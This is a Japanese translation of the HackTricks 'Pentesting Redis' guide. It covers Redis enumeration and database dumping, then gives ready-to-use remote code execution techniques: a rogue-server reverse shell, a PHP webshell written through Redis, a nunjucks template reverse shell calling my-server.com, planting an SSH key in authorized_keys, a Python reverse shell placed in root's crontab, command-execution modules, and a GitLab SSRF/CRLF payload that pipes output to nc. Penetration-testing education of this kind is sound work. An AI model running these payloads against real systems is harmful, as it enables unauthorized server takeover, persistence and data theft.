6379 - Pentesting Redis

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう!

ハッキングの洞察 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく

最新のアナウンス 最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手する

**Discordに参加して、今日からトップハッカーと協力を始めましょう!

基本情報

ドキュメントによると、Redisはオープンソース(BSDライセンス)、インメモリデータ構造ストアとして使用されるデータベース、キャッシュ、メッセージブローカーです。

デフォルトでは、Redisはプレーンテキストベースのプロトコルを使用しますが、ssl/tlsも実装できることに注意する必要があります。ここでRedisをssl/tlsで実行する方法を学びます。

デフォルトポート: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

自動列挙

いくつかの自動化ツールが、Redisインスタンスから情報を取得するのに役立つことがあります:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

マニュアル列挙

バナー

Redisはテキストベースのプロトコルです。ソケットにコマンドを送信するだけで、返される値は読み取れます。また、Redisはssl/tlsを使用して実行することもできます(しかし、これは非常に珍しいです)。

通常のRedisインスタンスでは、ncを使用して接続するか、redis-cliを使用することもできます:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

最初に試すことができるコマンドは**info**です。これはRedisインスタンスの情報を出力するか、以下のような情報が返される可能性があります:

-NOAUTH Authentication required.

Redis 認証

デフォルトでは、Redis には資格情報がなくアクセスできます。ただし、パスワードのみ、またはユーザー名 + パスワードをサポートするように構成することができます。 requirepass パラメータを使用して redis.conf ファイルにパスワードを設定することが可能です。また、サービスが再起動するまで一時的に接続して実行することもできます: config set requirepass p@ss$12E45。 また、redis.conf ファイル内の masteruser パラメータでユーザー名を構成することもできます。

パスワードのみが構成されている場合、使用されるユーザー名は "default" です。 また、Redis がパスワードのみかユーザー名+パスワードで構成されているかを外部から見つける方法はありません

このようなケースでは、Redis とやり取りするために有効な資格情報を見つける必要があります。それを総当たり攻撃してみることができます。 有効な資格情報を見つけた場合は、接続を確立した後にセッションに認証する必要があります

AUTH <username> <password>

有効な資格情報 は次のように応答されます: +OK

認証された列挙

Redisサーバーが匿名接続を許可している場合、または有効な資格情報を取得している場合、次のコマンドを使用してサービスの列挙プロセスを開始できます:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

その他のRedisコマンドこちらで見つけることができ、こちらでも見つけることができます。

RedisインスタンスのRedisコマンドは、redis.confファイルで名前を変更したり削除したりすることができます。例えば、次の行はFLUSHDBコマンドを削除します:

rename-command FLUSHDB ""

よりセキュアにRedisサービスを設定する詳細はこちら:https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

また、実行されたRedisコマンドをリアルタイムで監視することもできます。コマンドは**monitorです。または、slowlog get 25上位25件の遅いクエリ**を取得できます。

さらに興味深い情報を見つけるには、こちらを参照してください:https://lzone.de/cheat-sheet/Redis

データベースのダンプ

Redis内ではデータベースは0から始まる番号です。コマンドinfoの出力の中で使用されているかどうかを見つけることができます。これは"Keyspace"のセクションにあります:

または、すべてのキースペース(データベース)を取得することもできます:

INFO keyspace

その例では、データベース0と1が使用されています。データベース0には4つのキーが含まれ、データベース1には1つのキーが含まれています。デフォルトでは、Redisはデータベース0を使用します。例えばデータベース1をダンプするには、次のようにします:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

エラー-WRONGTYPE Operation against a key holding the wrong kind of valueが表示された場合、GET <KEY>を実行しているときは、キーが文字列や整数以外のものであり、それを表示するためには特別な演算子が必要です。

キーのタイプを知るには、TYPEコマンドを使用します。以下はリストとハッシュキーの例です。

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npmを使用してデータベースをダンプする redis-dump またはPython redis-utils

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける

最新のお知らせ 最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手

Discord に参加して、今日からトップハッカーと協力を始めましょう!

Redis RCE

インタラクティブシェル

redis-rogue-server はRedis(<=5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得できます。

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

情報はこちらから。ウェブサイトフォルダーのパスを知っている必要があります。

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

テンプレートWebshell

前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。

たとえば、次のこの解説を参照してください。攻撃者はnunjucksテンプレートエンジンによって解釈されるHTMLrevシェルをインジェクトしました。

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

複数のテンプレートエンジンがテンプレートをメモリにキャッシュするため、それらを上書きしても新しいものは実行されません。この場合、開発者が自動リロードを有効にしたままにしているか、サービスにDoSを実行する必要があります(そしてそれが自動的に再起動されることを期待する必要があります)。

SSH

例はこちら

config get dir の結果は他の手動の攻撃コマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを実行することをお勧めします。config get dir の出力には、redisユーザーホーム(通常は_/var/lib/redis_または_/home/redis/.ssh_)が見つかり、これを知ることでauthenticated_usersファイルを書き込んでssh経由でredisユーザーとしてアクセスできる場所がわかります。書き込み権限を持つ他の有効なユーザーのホームを知っている場合は、それも悪用できます:

  1. PCでsshの公開鍵と秘密鍵のペアを生成します:ssh-keygen -t rsa

  2. 公開鍵をファイルに書き込みます:(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. ファイルをRedisにインポートします:cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. 公開鍵をRedisサーバーのauthorized_keysファイルに保存します:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 最後に、プライベートキーを使用してredisサーバーsshで接続できます:ssh -i id_rsa redis@10.85.0.52

このテクニックはこちらで自動化されています: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

最後の例はUbuntu向けですが、Centos向けのコマンドは次のようになります:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

この方法はビットコインを稼ぐためにも使用できます:yam

Redisモジュールの読み込み

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommandの指示に従い、任意のコマンドを実行するRedisモジュールをコンパイルできます。

  2. 次に、コンパイルされたモジュールをアップロードする方法が必要です。

  3. ランタイムでアップロードされたモジュールMODULE LOAD /path/to/mymodule.soで読み込みます。

  4. 正しく読み込まれたかを確認するために読み込まれたモジュールをリストします:MODULE LIST

  5. コマンドを実行します:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 必要に応じてモジュールをアンロードします:MODULE UNLOAD mymodule

LUAサンドボックス回避

こちらで、RedisはLuaコードをサンドボックス化して実行するためにEVALコマンドを使用していることがわかります。リンク先の投稿では、dofile関数を使用してこれを悪用する方法が示されていますが、おそらくこれはもはや可能ではありません。とにかく、Luaサンドボックスをバイパスできれば、システム上で任意のコマンドを実行できます。同じ投稿から、DoSを引き起こすいくつかのオプションも確認できます。

Luaサンドボックスから脱出するためのいくつかのCVE

マスタースレーブモジュール

マスターレディスでは、すべての操作が自動的にスレーブレディスに同期されるため、脆弱性のあるレディスをスレーブレディスと見なし、自分自身が制御するマスターレディスに接続し、自分自身のレディスにコマンドを入力できます。

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

RedisへのSSRF

Redisにクリアテキストリクエストを送信できる場合、Redisと通信できます。Redisはリクエストを行ごとに読み取り、理解できない行にはエラーで応答するだけです。

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

したがって、ウェブサイトでSSRF vulnを見つけ、いくつかのヘッダー(おそらくCRLF vulnを使用)やPOSTパラメータ制御できる場合、Redisに任意のコマンドを送信できます。

例: Gitlab SSRF + CRLFからシェルへ

Gitlab11.4.7では、SSRF脆弱性とCRLFが発見されました。SSRF脆弱性は、新しいプロジェクトを作成する際のURL機能からプロジェクトをインポートで見つかり、[0:0:0:0:0:ffff:127.0.0.1](これにより127.0.0.1にアクセス)の形式で任意のIPにアクセスでき、CRLF vulnはURLに**%0D%0A**文字を追加することで悪用されました。

したがって、これらの脆弱性を悪用して、gitlabからキューを管理するRedisインスタンスにアクセスし、それらのキューを悪用してコードを実行することが可能でした。Redisキューの悪用ペイロードは次のとおりです:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

そして、whoamiを実行し、出力をncを介して送り返すために、SSRFCRLFを悪用したURLエンコードリクエストは次のとおりです:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

何らかの理由で(情報提供元のhttps://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/の著者によると)この攻撃はgitスキームではなくhttpスキームで動作しませんでした。

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう

最新のアナウンスメント 最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう

Discord に参加して、今日からトップハッカーと協力しましょう!

**ゼロからヒーローまでのAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Last updated